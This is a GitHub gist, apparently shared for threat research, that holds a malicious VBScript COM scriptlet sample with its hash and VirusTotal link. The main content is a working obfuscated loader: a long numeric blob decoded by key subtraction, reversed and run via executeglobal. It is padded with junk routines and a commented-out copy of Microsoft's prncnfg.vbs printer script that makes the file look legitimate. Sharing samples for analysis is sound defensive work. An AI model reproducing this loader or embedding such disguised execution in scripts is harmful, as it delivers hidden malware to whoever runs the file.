Created
August 30, 2018 15:51
-
-
Save JohnLaTwC/ccdcbeb85649ef9feaae045482d694b9 to your computer and use it in GitHub Desktop.
VBS COM Scriptlet threat
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Uploaded by @JohnLaTwC | |
## Hash: cf618029065ca2954054644bed2ac2d2a519926870c08d07a21f02a0afc9447e | |
## VTLink: https://www.virustotal.com/#/file/cf618029065ca2954054644bed2ac2d2a519926870c08d07a21f02a0afc9447e/detection | |
<?XML version="1.0"?> | |
<scriptlet> | |
<registration | |
progid="Pentest" | |
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" > | |
<script language="VBScript"> | |
q=115 | |
w="12512822522622023121422523218514721522521612512821023114717614717021812512821722014721522521612512814914914717614721023112512821623022321612512822322321221521221622916122922921621523123016116521414717614721023112512822521621923114722421221622923123021722621522521623121216122922921621523123016116521414723122622514721722021623022321612512822322321221521221622916123123222621523123016116521414717614721023112512822521621923114722421221622923123021722621522521623121216123123222621523123016116521414723122622514721722012512815617122014715314714914721416214715221421622723022422621415214915514721421623521616117022914717614716521414723121623012512821023115916521415916623514722422021512512815617122015514717021814722522622023121422523221712512821323223014721522521612512816422014722921621522322621721623121622321621516116423412512816422014721622322021721623121622321621516116423412512823123521622514721622423223021622914722922622922921614722522612512815616422015514716623014721323223012512821323223014721522521612512821623222923115917015916421314715314714914718318819516214719916214718516214722322322022222223021223114914722523222916117022912512823123521622514721622423223021622914722922622922921614722522612512815616421315514716522714721323223012512822522622023121422523221714721522521612512823123521622512512822921623122022322723014715314721923121222721622321321223123221421623521616116623314715314716523414717614716523412512814923914914715314721522023023021621422622922716116623314715314716523414717614716523412512814923914914715314721622421222516116623314715314716523414717614716523412512823022421623122022322621414722522014716623314721921421221614722922621712512816623314722422021512512815617116715915914923023021621422622922721016516622522023414722422622921714715714723121421622321623014915523622921623222821421623521616121621422023322921623022022423422121322614717614723022421623122022322621414723121623012512815614916523322422021420723122622622920716120720717323023122421822422522023414915523121421622121322623121621814717614721621422023322921623022022423422121322614723121623012512823123521622514721622423223021622914722922622922921614722522612512815615514716523414722522622023121422523221712512822522622023121422523221714721522521612512823123521622512512822921623122022322723014715314723021623123221322022923123121216121622322021714715314714923914914715314714921714914715314714923914914715314714721623722023016121622322021714715314714923914914715314721622421222516121622322021714715314716521814717614716521812512823021622322021716115616322315514722921621522322621723121621816116423414722522014721622322021714721921421221614714722922621712512823123521622512512822921623122022322723014715314723021623123221322022923123121216122921621522322621714715314714923914914715314714921514914715314714923914914715314714914914715314714923914914715314721622421222516122921621522322621714715314716521814717614716521812512823022921621522322621721323223016115616322315514722921621522322621723121621816116423414722522014722921621522322621714721921421221614714722922621712512822921623122022322723014715314716322314717614716521812512815616322315514716521814722522622023121422523221712512822522622023121422523218514721522521612512823123521622512512821722014721522521612512822921623122022322723014715314721622723623121623322022921516121623322022921514715314714923914914715314721923121222716121623322022921514715314717123514717614717123512512822521621923114721623222923114717614723621521221622923022016121623322022921514714714721722012512823021623322022921516116423414722522014721623322022921514721921421221614714722922621712512815615514717123514722522622023121422523221712512822522622023121422523221714721522521612512816823515916721214715314722921623122022322723014715314714921822522023321421622916023022014914716722612512821822522021923122622514717614716321814723121623012512821923122023414721522521612512821623022622321416112512821521221622916114717614716823512512816721214721622322021722422622921721521222622316112512822521622722616112512816414717614721622723623116112512816523114721923122023412512815614922421221622923123016121321522621521214915523121421622121322621623121221622921414717614716523114714723121623012512816823515916523114714722422021512512815616721215514717222714722522622023121422523221712512821323223014721522521612512821722014721522521615412512821923121222723122922621923016115622623121623321223022923123015514721622322021723121621816121521222622322523422621522623021722121322614722523222916117022915412512822521621923114715622623121623321223022923123015523023123022023521621622322021716121521222622322523422621522623021722121322614721722015412512821722014721522521612512821822522021923122622514717614714716321814723121623012512821923122023414721522521612512821623022622321416 | |
1125128226231216233212230229231230147216223220217226231216233212230161125128236215226213216230225226227230216229161215212226223225234226215227231231219221213226147216231220229234161125128225216227226161125128164147176147216227236231161125128163218147219231220234125128156149224212216229231230161213215226215212149155231214216221213226216231212216229214147176147163218147147231216230125128163218147147224220215125128225216219231147163163165147176147230232231212231230161215212226223225234226215227231231219221213226147147217220125128217220147215225216125128156226231216233212230229231230155147216223220217216231216223216215161215212226223225234226215226230217221213226125128225216219231147156226231216233212230229231230155147230231230220235216216223220217161215212226223225234226215226230217221213226147147217220125128156149231214216221213226224216231230236230216223220217161218225220231227220229214230149155147231214216221213226216231212216229214147176147215212226223225234226215226230217221213226147231216230125128149149147215225216230161215212226223225234226215227231231219221213226125128216230223212217147159167212147153147229216231220223227230147153147149218225220215225216230160230220149147153147149162149153147156230225215155231230226219147153147149162162173227231231219149159149231230226227149147225216227226161215212226223225234226215227231231219221213226125128156149227231231219223224235161165223224235230224149155231214216221213226216231212216229214147176147215212226223225234226215227231231219221213226147231216230125128156164147158147156149207149159167212155147233216229229231230225220147159167212155147215220224147153147171228147176147226231216233212230229231230125128217220147215225216125128229220215223223212231230225220147176147171228125128225216219231147149149147176147171228147217220125128156171228159167212155147166229147213232230125128125128125128125128225226220231214225232217147215225216125128149233212160225212225149147176147147164226147225216219231147149149147176147147164226147217220125128231235216225125128149161147149147153147216224212225236212223227230220215161230232229220233220231225212221213226147153147147164226147176147147164226125128230232229220233220231225212223226214147225220147230232229220233220231225212221213226147219214212216147229226217125128156163159149223228234149159149231214232215226229227230232229220233220231225212147224226229217147157147231214216223216230149155236229216232228214216235216161229216231225216214236231220229232214216230221213226147176147230232229220233220231225212223226214147231216198125128156214230147153147149207231226226229207231230226219223212214226223207207173230231224218224225220234149155231214216221213226231216218147176147229216231225216214236231220229232214216230221213226147231216230125128149229216231225216214236231220229232214216230149147176147214230147216230223216147149165229216231225216214236231220229232214216230149147176147214230147225216219231147169147177147225226220230229216233230226147147217220125128156225226220230229216233230226155147223212233216147176147225226220230229216233230226125128231235216225125128156220155147229231230225226220230229216233147147153147225226220230229216233230226147176147225226220230229216233230226125128156229231230225226220230229216233155147215225232226213232147226231147164147176147164237147147229226217125128149161149147153147156163155147229231230225226220230229216233147176147225226220230229216233230226125128156149161149159225226220230229216233161230224216231220223226214155147231220223227230147176147229231230225226220230229216233125128231235216225125128156149161149159225226220230229216233161166233155147231220223227230147176147229231230225226220230229216233125128230224216231220223226214147225220147166233147219214212216147229226217125128156171167159159149224216231230236230218225220231212229216227226210165166225220234147224226229217147157147231214216223216230149155236229216232228214216235216161216214220233229216230220224234221213226147176147230224216231220223226214147231216230125128156149165233224220214207231226226229207161207207148240216231212225226230229216227224220176223216233216223225226220231212225226230229216227224220238173230231224218224225220234149155231214216221213226231216218147176147216214220233229216230220224234221213226147231216230125128149149147176147164226125128231235216225147216224232230216229147229226229229216147225226125128164226147225226220231214225232217125128225226220231214225232217147215225216125128231235216225125128217220147215225216125128229226217147231220235216125128229216213224232225223212220229216230216224232223226233161222230220215147176147163214125128225216219231147149149147177175147229216213224232225223212220229216230216224232223226233161222230220215147147217220125128230222230220215147225220147222230220215147219214212216147229226217125128156149222230220215223212214220218226223210165166225220234147224226229217147157147231214216223216230149155147236229216232228214216235216161231226226229147176147230222230220215147231216230125128156149165233224220214207231226226229207161207207148240216231212225226230229216227224220176223216233216223225226220231212225226230229216227224220238173230231224218224225220234149155231214216221213226231216218147176147231226226229147231216230125128231235216225147216224232230216229147229226229229216147225226125128163214147225226220231214225232217125128213232230147215225216125128216232229231159216224212225223223212231230225220147153147229220215223223212231230225220159216224212225223223232217231227220229214230161231227220229214230234147216223220217236227226214161164234125128231235216193147216224232230216229147229226229229216147225226125128156155147167219147213232230125128225226220231214225232217147215225216125128217220147215225216125128217225220147176147172213125128216230223216125128217225220147176147172213125128218225220215212216229227230213230232147153147217225220147176147217225220125128229216231220223227230147153147164226147153147217225220147176147217225220125128229216231220223227230147153147149230232223227149147153147217225220147176147217225220125128231235216225125128229226217147231220235216125128229216231220223227230147153147225226220231227212214161226217225220230226147153147217225220147176147217225220125128230226147225220147226217225220230226147219214212216147229226217125128156149224216231230236230218225220231212229216227226210165166225220234147224226229217147157147231214216223216230149155147236229216232228214216235216161231226226229147176147230226147231216230125128156149165233224220214207231226226229207161207207148240216231212225226230229216227224220176223216233216223225226220231212225226230229216227224220238173230231224218224225220234149155231214216221213226231216218147176147231226226229147231216230125128229216231220223227230147153147156149152216224212225229216230232152149155230218225220229231230231225216224225226229220233225216215225212227235216161170229147153147147217225220147176147217225220125128229216231220223227230147153147156149152216224212225229216231232227224226214152149155230218225220229231230231225216224225226229220233225216215225212227235216161170229147153147147217225220147176147217225220125128229216231220223227230147153147163214147176147217225220125128225216219231147149149147176147217225220147147217220125128231235216225147216224232230216229147229226229229216147225226125128172213147225226220231214225232217125128225226220231214225232217147215225216125128231235216231216230225226227230216229161166235147176147167226125128215234147215225216230161166235125128216230223212217147159171220147153147149162149153147156230225215155231230226219147153147149162162173227231231219149159149231230226227149147225216227226161166235125128215234147176147167226125128156215234159147171220155147167226147225226220231214225232217125128125128125128215225216234125128231214216223216230147215225216125128171214125128149229216218218226223236216222149147147216230212214125128167234125128149215229226234230230212227149147147216230212214125128156166155171220159156165155171220159156164155171220147170222125128149231226219230160225216216229214230149147147216230212214125128156215234155147165227125128156164155147171220147176147215234125128149230230216214226229227160231220235216149147147216230212214125128156215234155147166230125128156164155147171220147176147215234125128149216231216223216215149147147216230212214125128156215234155147170218159149223223216219230160171220160230220149147167226125128156164155147171220147176147215234125128149223223216219230160171220149147147216230212214125128165234159149230230216214226229227160224232225216160230220149147167226125128149230230216214226229227160224232225216149147147216230212214125128156215234155147165218159149217212217160224232225216160230220149147167226125128156164155147171220147176147215234125128149217212217160224232225216149147147216230212214125128171235159149229216233220229215160224232225216160230220149147167226125128149229216233220229215160224232225216149147147216230212214125128156215234155147172227125128156164155147171220147176147215234125128149233214216229149147216230212214125128156165155147171220159156164155147171220147167233125128149215225216230160216231220230149147216230212214125128156165155147171220159156164155147171220147166229125128149215225216230149147216230212214125128171214125128149223223212231230225220225232149147216230212214125128231220232228161231227220229214230234125128216230226223214161172232125128215234147216231220229234161172232125128156216230223212217147159165159147216224212225223223212231230225220147153147229220215223223212231230225220155147216223220217231235216231225216227226161164234147147176147172232147231216230125128216230226223214161172232125128156164155147171220147176147215234125128149216231212215227232149147216230212214125128215234147216231232214216235216125128156164155147171220147176147215234125128149216231232214216214235216149147216230212214125128156163155147171220147216230212214147231214216223216230125128156229216231220223227230159172225155147231220223227230147176147171220125128217220147215225216125128217220147215225216125128164147158147230225215147176147230225215125128216230223216125128163147176147230225215125128225216219231147156231230226219155147215225232226213232147176177147230225215147217220125128225216219231147163163165147177175147230232231212231230161166235147217220125128156172213159149236215212216229160230220149155147167226147176147172225125128149149147176147172225125128168220125128216232229231147216223220219234125128170226125128231235216225147216224232230216229147229226229229216147225226125128125128163147176147230225215125128172232147224220215125128149149147176147216231212215231229212231230125128149149147176147218225220215212216229227230213230232125128149149147176147226217225220125128215234147224220215125128171220147224220215125128172225147224220215125128149177149147153147149239149147153147149175149147176147229216231220223227230125128156149227231231219223224235161165223224235230224149155231214216221213226216231212216229214147176147166235147231216230125128166235147224220215125128156149231214216221213226224216231230236230216223220217161218225220231227220229214230149155231214216221213226216231212216229214147176147164234147231216230125128164234147224220215125128156149223223216219230161231227220229214230234149155231214216221213226216231212216229214147176147170229147231216230125128170229147224220215125128125128156149168166168173216215161230225215227230161215212216215160236231219218220224149159149168166168173166163164161167164161171165161172167164149159149168166168173231216225161230225215215161215212216215160236231219218220224149155147236212229229212147176147231230226219125128" | |
For r=(0) To (400) Step (1) | |
if r mod 20 =(0) then | |
end if | |
t=(y)(Rnd mod 5 + r mod 7,Rnd) | |
next | |
stop | |
For r =(0) To ((len)((w))/3)-1 Step 1 | |
u=(mid)((w),(r*3)+(1),(3)) | |
i=(i) & (chrw)((u-q)) | |
Next | |
stop | |
i=(StrReverse)((i)) | |
executeglobal(("")& (i)) | |
Function y(sMessage, strKey) | |
Dim o, p, aa, i, j, temp | |
Dim ss(256), k(256) | |
o= (Len)((strKey)) | |
For i = (0) To (255) | |
k(i) = (asc)((Mid)((strKey), ((i Mod o)) + 1, 1)) | |
Next | |
For i = (0) To (255) | |
j = (j + k(i) + ss(i)) Mod 256 | |
Next | |
stop | |
For i = (1) To (1400) | |
p = (p + 1) Mod 25 | |
aa= (aa+ ss(p)) Mod 256 | |
Next | |
stop | |
For i = (1) To (Len)((sMessage)) | |
p = (p + 1) Mod 256 | |
p= (aa+ ss(p)) Mod 256 | |
y =(y)& (ss((ss(p) + ss(aa)) Mod 256) & (Mid(sMessage, i, 1))) & (",") | |
Next | |
stop | |
''---------------------------------------------------------------------- | |
'' | |
'' Copyright (c) Microsoft Corporation. All rights reserved. | |
'' | |
'' Abstract: | |
'' | |
'' prncnfg.vbs - printer configuration script for WMI on Windows used to get | |
'' and set printer configuration also used to rename a printer | |
'' | |
'' Usage: | |
'' prncnfg [-gtx?] [-s server] [-p printer] [-u user name] [-w password] | |
'' [-z new printer name] [-r port name] [-l location] [-m comment] | |
'' [-h share name] [-f sep-file] [-y data-type] [-st start time] | |
'' [-ut until time] [-o priority] [-i default priority] | |
'' [<+|->rawonly][<+|->keepprintedjobs][<+|->queued][<+|->workoffline] | |
'' [<+|->enabledevq][<+|->docompletefirst][<+|->enablebidi] | |
'' | |
'' Examples: | |
'' prncnfg -g -s server -p printer | |
'' prncnfg -x -p printer -w "new Printer" | |
'' prncnfg -t -s server -p Printer -l "Building A/Floor 100/Office 1" -m "Color Printer" | |
'' prncnfg -t -p printer -h "Share" +shared -direct | |
'' prncnfg -t -p printer +rawonly +keepprintedjobs | |
'' prncnfg -t -p printer -st 2300 -ut 0215 -o 10 -i 5 | |
'' | |
''---------------------------------------------------------------------- | |
' | |
'option explicit | |
' | |
'' | |
'' Debugging trace flags, to enable debug output trace message | |
'' change gDebugFlag to true. | |
'' | |
'const kDebugTrace = 1 | |
'const kDebugError = 2 | |
'dim gDebugFlag | |
' | |
'gDebugFlag = false | |
' | |
'const kFlagUpdateOnly = 1 | |
' | |
'' | |
'' Operation action values. | |
'' | |
'const kActionUnknown = 0 | |
'const kActionSet = 1 | |
'const kActionGet = 2 | |
'const kActionRename = 3 | |
' | |
'const kErrorSuccess = 0 | |
'const kErrorFailure = 1 | |
' | |
'' | |
'' Constants for the parameter dictionary | |
'' | |
'const kServerName = 1 | |
'const kPrinterName = 2 | |
'const kNewPrinterName = 3 | |
'const kShareName = 4 | |
'const kPortName = 5 | |
'const kDriverName = 6 | |
'const kComment = 7 | |
'const kLocation = 8 | |
'const kSepFile = 9 | |
'const kPrintProc = 10 | |
'const kDataType = 11 | |
'const kParameters = 12 | |
'const kPriority = 13 | |
'const kDefaultPriority = 14 | |
'const kStartTime = 15 | |
'const kUntilTime = 16 | |
'const kQueued = 17 | |
'const kDirect = 18 | |
'const kDefault = 19 | |
'const kShared = 20 | |
'const kNetwork = 21 | |
'const kHidden = 23 | |
'const kLocal = 24 | |
'const kEnableDevq = 25 | |
'const kKeepPrintedJobs = 26 | |
'const kDoCompleteFirst = 27 | |
'const kWorkOffline = 28 | |
'const kEnableBidi = 29 | |
'const kRawOnly = 30 | |
'const kPublished = 31 | |
'const kUserName = 32 | |
'const kPassword = 33 | |
' | |
'const kNameSpace = "root\cimv2" | |
' | |
'' | |
'' Generic strings | |
'' | |
'const L_Empty_Text = "" | |
'const L_Space_Text = " " | |
'const L_Error_Text = "Error" | |
'const L_Success_Text = "Success" | |
'const L_Failed_Text = "Failed" | |
'const L_Hex_Text = "0x" | |
'const L_Printer_Text = "Printer" | |
'const L_Operation_Text = "Operation" | |
'const L_Provider_Text = "Provider" | |
'const L_Description_Text = "Description" | |
'const L_Debug_Text = "Debug:" | |
' | |
'' | |
'' General usage messages | |
'' | |
'const L_Help_Help_General01_Text = "Usage: prncnfg [-gtx?] [-s server][-p printer][-z new printer name]" | |
'const L_Help_Help_General02_Text = " [-u user name][-w password][-r port name][-l location]" | |
'const L_Help_Help_General03_Text = " [-m comment][-h share name][-f sep file][-y datatype]" | |
'const L_Help_Help_General04_Text = " [-st start time][-ut until time][-i default priority]" | |
'const L_Help_Help_General05_Text = " [-o priority][<+|->shared][<+|->direct][<+|->hidden]" | |
'const L_Help_Help_General06_Text = " [<+|->published][<+|->rawonly][<+|->queued][<+|->enablebidi]" | |
'const L_Help_Help_General07_Text = " [<+|->keepprintedjobs][<+|->workoffline][<+|->enabledevq]" | |
'const L_Help_Help_General08_Text = " [<+|->docompletefirst]" | |
'const L_Help_Help_General09_Text = "Arguments:" | |
'const L_Help_Help_General10_Text = "-f - separator file name" | |
'const L_Help_Help_General11_Text = "-g - get configuration" | |
'const L_Help_Help_General12_Text = "-h - share name" | |
'const L_Help_Help_General13_Text = "-i - default priority" | |
'const L_Help_Help_General14_Text = "-l - location string" | |
'const L_Help_Help_General15_Text = "-m - comment string" | |
'const L_Help_Help_General16_Text = "-o - priority" | |
'const L_Help_Help_General17_Text = "-p - printer name" | |
'const L_Help_Help_General18_Text = "-r - port name" | |
'const L_Help_Help_General19_Text = "-s - server name" | |
'const L_Help_Help_General20_Text = "-st - start time" | |
'const L_Help_Help_General21_Text = "-t - set configuration" | |
'const L_Help_Help_General22_Text = "-u - user name" | |
'const L_Help_Help_General23_Text = "-ut - until time" | |
'const L_Help_Help_General24_Text = "-w - password" | |
'const L_Help_Help_General25_Text = "-x - change printer name" | |
'const L_Help_Help_General26_Text = "-y - data type string" | |
'const L_Help_Help_General27_Text = "-z - new printer name" | |
'const L_Help_Help_General28_Text = "-? - display command usage" | |
'const L_Help_Help_General29_Text = "Examples:" | |
'const L_Help_Help_General30_Text = "prncnfg -g -s server -p printer" | |
'const L_Help_Help_General31_Text = "prncnfg -x -s server -p printer -z ""new printer""" | |
'const L_Help_Help_General32_Text = "prncnfg -t -p printer -l ""Building A/Floor 100/Office 1"" -m ""Color Printer""" | |
'const L_Help_Help_General33_Text = "prncnfg -t -p printer -h ""Share"" +shared -direct" | |
'const L_Help_Help_General34_Text = "prncnfg -t -p printer +rawonly +keepprintedjobs" | |
'const L_Help_Help_General35_Text = "prncnfg -t -p printer -st 2300 -ut 0215 -o 1 -i 5" | |
' | |
'' | |
'' Messages to be displayed if the scripting host is not cscript | |
'' | |
'const L_Help_Help_Host01_Text = "This script should be executed from the Command Prompt using CScript.exe." | |
'const L_Help_Help_Host02_Text = "For example: CScript script.vbs arguments" | |
'const L_Help_Help_Host03_Text = "" | |
'const L_Help_Help_Host04_Text = "To set CScript as the default application to run .VBS files run the following:" | |
'const L_Help_Help_Host05_Text = " CScript //H:CScript //S" | |
'const L_Help_Help_Host06_Text = "You can then run ""script.vbs arguments"" without preceding the script with CScript." | |
' | |
'' | |
'' General error messages | |
'' | |
'const L_Text_Error_General01_Text = "The scripting host could not be determined." | |
'const L_Text_Error_General02_Text = "Unable to parse command line." | |
'const L_Text_Error_General03_Text = "Win32 error code" | |
' | |
'' | |
'' Miscellaneous messages | |
'' | |
'const L_Text_Msg_General01_Text = "Renamed printer" | |
'const L_Text_Msg_General02_Text = "New printer name" | |
'const L_Text_Msg_General03_Text = "Unable to rename printer" | |
'const L_Text_Msg_General04_Text = "Unable to get configuration for printer" | |
'const L_Text_Msg_General05_Text = "Printer always available" | |
'const L_Text_Msg_General06_Text = "Configured printer" | |
'const L_Text_Msg_General07_Text = "Unable to configure printer" | |
'const L_Text_Msg_General08_Text = "Unable to get SWbemLocator object" | |
'const L_Text_Msg_General09_Text = "Unable to connect to WMI service" | |
'const L_Text_Msg_General10_Text = "Printer status" | |
'const L_Text_Msg_General11_Text = "Extended printer status" | |
'const L_Text_Msg_General12_Text = "Detected error state" | |
'const L_Text_Msg_General13_Text = "Extended detected error state" | |
' | |
'' | |
'' Printer properties | |
'' | |
'const L_Text_Msg_Printer01_Text = "Server name" | |
'const L_Text_Msg_Printer02_Text = "Printer name" | |
'const L_Text_Msg_Printer03_Text = "Share name" | |
'const L_Text_Msg_Printer04_Text = "Driver name" | |
'const L_Text_Msg_Printer05_Text = "Port name" | |
'const L_Text_Msg_Printer06_Text = "Comment" | |
'const L_Text_Msg_Printer07_Text = "Location" | |
'const L_Text_Msg_Printer08_Text = "Separator file" | |
'const L_Text_Msg_Printer09_Text = "Print processor" | |
'const L_Text_Msg_Printer10_Text = "Data type" | |
'const L_Text_Msg_Printer11_Text = "Parameters" | |
'const L_Text_Msg_Printer12_Text = "Attributes" | |
'const L_Text_Msg_Printer13_Text = "Priority" | |
'const L_Text_Msg_Printer14_Text = "Default priority" | |
'const L_Text_Msg_Printer15_Text = "Start time" | |
'const L_Text_Msg_Printer16_Text = "Until time" | |
'const L_Text_Msg_Printer17_Text = "Status" | |
'const L_Text_Msg_Printer18_Text = "Job count" | |
'const L_Text_Msg_Printer19_Text = "Average pages per minute" | |
' | |
'' | |
'' Printer attributes | |
'' | |
'const L_Text_Msg_Attrib01_Text = "direct" | |
'const L_Text_Msg_Attrib02_Text = "raw_only" | |
'const L_Text_Msg_Attrib03_Text = "local" | |
'const L_Text_Msg_Attrib04_Text = "shared" | |
'const L_Text_Msg_Attrib05_Text = "keep_printed_jobs" | |
'const L_Text_Msg_Attrib06_Text = "published" | |
'const L_Text_Msg_Attrib07_Text = "queued" | |
'const L_Text_Msg_Attrib08_Text = "default" | |
'const L_Text_Msg_Attrib09_Text = "network" | |
'const L_Text_Msg_Attrib10_Text = "enable_bidi" | |
'const L_Text_Msg_Attrib11_Text = "do_complete_first" | |
'const L_Text_Msg_Attrib12_Text = "work_offline" | |
'const L_Text_Msg_Attrib13_Text = "hidden" | |
'const L_Text_Msg_Attrib14_Text = "enable_devq_print" | |
' | |
'' | |
'' Printer status | |
'' | |
'const L_Text_Msg_Status01_Text = "Other" | |
'const L_Text_Msg_Status02_Text = "Unknown" | |
'const L_Text_Msg_Status03_Text = "Idle" | |
'const L_Text_Msg_Status04_Text = "Printing" | |
'const L_Text_Msg_Status05_Text = "Warmup" | |
'const L_Text_Msg_Status06_Text = "Stopped printing" | |
'const L_Text_Msg_Status07_Text = "Offline" | |
'const L_Text_Msg_Status08_Text = "Paused" | |
'const L_Text_Msg_Status09_Text = "Error" | |
'const L_Text_Msg_Status10_Text = "Busy" | |
'const L_Text_Msg_Status11_Text = "Not available" | |
'const L_Text_Msg_Status12_Text = "Waiting" | |
'const L_Text_Msg_Status13_Text = "Processing" | |
'const L_Text_Msg_Status14_Text = "Initializing" | |
'const L_Text_Msg_Status15_Text = "Power save" | |
'const L_Text_Msg_Status16_Text = "Pending deletion" | |
'const L_Text_Msg_Status17_Text = "I/O active" | |
'const L_Text_Msg_Status18_Text = "Manual feed" | |
'const L_Text_Msg_Status19_Text = "No error" | |
'const L_Text_Msg_Status20_Text = "Low paper" | |
'const L_Text_Msg_Status21_Text = "No paper" | |
'const L_Text_Msg_Status22_Text = "Low toner" | |
'const L_Text_Msg_Status23_Text = "No toner" | |
'const L_Text_Msg_Status24_Text = "Door open" | |
'const L_Text_Msg_Status25_Text = "Jammed" | |
'const L_Text_Msg_Status26_Text = "Service requested" | |
'const L_Text_Msg_Status27_Text = "Output bin full" | |
'const L_Text_Msg_Status28_Text = "Paper problem" | |
'const L_Text_Msg_Status29_Text = "Cannot print page" | |
'const L_Text_Msg_Status30_Text = "User intervention required" | |
'const L_Text_Msg_Status31_Text = "Out of memory" | |
'const L_Text_Msg_Status32_Text = "Server unknown" | |
' | |
' | |
'' | |
'' Debug messages | |
'' | |
'const L_Text_Dbg_Msg01_Text = "In function RenamePrinter" | |
'const L_Text_Dbg_Msg02_Text = "New printer name" | |
'const L_Text_Dbg_Msg03_Text = "In function GetPrinter" | |
'const L_Text_Dbg_Msg04_Text = "In function SetPrinter" | |
'const L_Text_Dbg_Msg05_Text = "In function ParseCommandLine" | |
' | |
'main | |
' | |
'' | |
'' Main execution starts here | |
'' | |
'sub main | |
' | |
' dim iAction | |
' dim iRetval | |
' dim oParamDict | |
' | |
' ' | |
' ' Abort if the host is not cscript | |
' ' | |
' if not IsHostCscript() then | |
' | |
'' call 'wscript.echo(L_Help_Help_Host01_Text & vbCRLF & L_Help_Help_Host02_Text & vbCRLF & _ | |
' ' L_Help_Help_Host03_Text & vbCRLF & L_Help_Help_Host04_Text & vbCRLF & _ | |
' ' L_Help_Help_Host05_Text & vbCRLF & L_Help_Help_Host06_Text & vbCRLF) | |
' | |
'' wscript.quit | |
' | |
' end if | |
' | |
' set oParamDict = CreateObject("Scripting.Dictionary") | |
' | |
' iRetval = ParseCommandLine(iAction, oParamDict) | |
' | |
' if iRetval = kErrorSuccess then | |
' | |
' select case iAction | |
' | |
' case kActionSet | |
' iRetval = SetPrinter(oParamDict) | |
' | |
' case kActionGet | |
' iRetval = GetPrinter(oParamDict) | |
' | |
' case kActionRename | |
' iRetval = RenamePrinter(oParamDict) | |
' | |
' case else | |
' Usage(True) | |
' exit sub | |
' | |
' end select | |
' | |
' end if | |
' | |
'end sub | |
' | |
'' | |
'' Rename printer | |
'' | |
'function RenamePrinter(oParamDict) | |
' | |
' on error resume next | |
' | |
' DebugPrint kDebugTrace, L_Text_Dbg_Msg01_Text | |
' DebugPrint kDebugTrace, L_Text_Msg_Printer01_Text & L_Space_Text & oParamDict.Item(kServerName) | |
' DebugPrint kDebugTrace, L_Text_Msg_Printer02_Text & L_Space_Text & oParamDict.Item(kPrinterName) | |
' DebugPrint kDebugTrace, L_Text_Dbg_Msg02_Text & L_Space_Text & oParamDict.Item(kNewPrinterName) | |
' | |
' dim oPrinter | |
' dim oService | |
' dim iRetval | |
' dim uResult | |
' dim strServer | |
' dim strPrinter | |
' dim strNewName | |
' dim strUser | |
' dim strPassword | |
' | |
' iRetval = kErrorFailure | |
' | |
' strServer = oParamDict.Item(kServerName) | |
' strPrinter = oParamDict.Item(kPrinterName) | |
' strNewName = oParamDict.Item(kNewPrinterName) | |
' strUser = oParamDict.Item(kUserName) | |
' strPassword = oParamDict.Item(kPassword) | |
' | |
' if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then | |
' | |
' set oPrinter = oService.Get("Win32_Printer.DeviceID='" & strPrinter & "'") | |
' | |
' else | |
' | |
' RenamePrinter = kErrorFailure | |
' | |
' exit function | |
' | |
' end if | |
' | |
' ' | |
' ' Check if Get was successful | |
' ' | |
' if Err.Number = kErrorSuccess then | |
' | |
' uResult = oPrinter.RenamePrinter(strNewName) | |
' | |
' if Err.Number = kErrorSuccess then | |
' | |
' if uResult = kErrorSuccess then | |
' | |
' | |
' iRetval = kErrorSuccess | |
' | |
' else | |
' | |
' 'wscript.echo L_Text_Msg_General03_Text & L_Space_Text & strPrinter & L_Space_Text _ | |
'' & L_Text_Error_General03_Text & L_Space_Text & uResult | |
' | |
' end if | |
' | |
' else | |
' | |
' 'wscript.echo L_Text_Msg_General04_Text & L_Space_Text & strPrinter & L_Space_Text _ | |
' & L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _ | |
' & Err.Description | |
' | |
' end if | |
' | |
' else | |
' | |
' 'wscript.echo L_Text_Msg_General04_Text & L_Space_Text & strPrinter & L_Space_Text _ | |
' & L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _ | |
' & Err.Description | |
' | |
' ' | |
' ' Try getting extended error information | |
' ' | |
' call LastError() | |
' | |
' end if | |
' | |
' RenamePrinter = iRetval | |
' | |
'end function | |
' | |
'' | |
'' Get printer configuration | |
'' | |
'function GetPrinter(oParamDict) | |
' | |
' on error resume next | |
' | |
' DebugPrint kDebugTrace, L_Text_Dbg_Msg03_Text | |
' DebugPrint kDebugTrace, L_Text_Msg_Printer01_Text & L_Space_Text & oParamDict.Item(kServerName) | |
' DebugPrint kDebugTrace, L_Text_Msg_Printer02_Text & L_Space_Text & oParamDict.Item(kPrinterName) | |
' | |
' dim oPrinter | |
' dim oService | |
' dim iRetval | |
' dim uResult | |
' dim strServer | |
' dim strPrinter | |
' dim strAttributes | |
' dim strStart | |
' dim strEnd | |
' dim strUser | |
' dim strPassword | |
' | |
' iRetval = kErrorFailure | |
' | |
' strServer = oParamDict.Item(kServerName) | |
' strPrinter = oParamDict.Item(kPrinterName) | |
' strUser = oParamDict.Item(kUserName) | |
' strPassword = oParamDict.Item(kPassword) | |
' | |
' if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then | |
' | |
' set oPrinter = oService.Get("Win32_Printer='" & strPrinter & "'") | |
' | |
' else | |
' | |
' GetPrinter = kErrorFailure | |
' | |
' exit function | |
' | |
' end if | |
' | |
' ' | |
' ' Check if Get was successful | |
' ' | |
' if Err.Number = kErrorSuccess then | |
' | |
' 'wscript.echo L_Text_Msg_Printer01_Text & L_Space_Text & strServer | |
' 'wscript.echo L_Text_Msg_Printer02_Text & L_Space_Text & oPrinter.DeviceID | |
' 'wscript.echo L_Text_Msg_Printer03_Text & L_Space_Text & oPrinter.ShareName | |
' 'wscript.echo L_Text_Msg_Printer04_Text & L_Space_Text & oPrinter.DriverName | |
' 'wscript.echo L_Text_Msg_Printer05_Text & L_Space_Text & oPrinter.PortName | |
' 'wscript.echo L_Text_Msg_Printer06_Text & L_Space_Text & oPrinter.Comment | |
' 'wscript.echo L_Text_Msg_Printer07_Text & L_Space_Text & oPrinter.Location | |
' 'wscript.echo L_Text_Msg_Printer08_Text & L_Space_Text & oPrinter.SeparatorFile | |
' 'wscript.echo L_Text_Msg_Printer09_Text & L_Space_Text & oPrinter.PrintProcessor | |
' 'wscript.echo L_Text_Msg_Printer10_Text & L_Space_Text & oPrinter.PrintJobDatatype | |
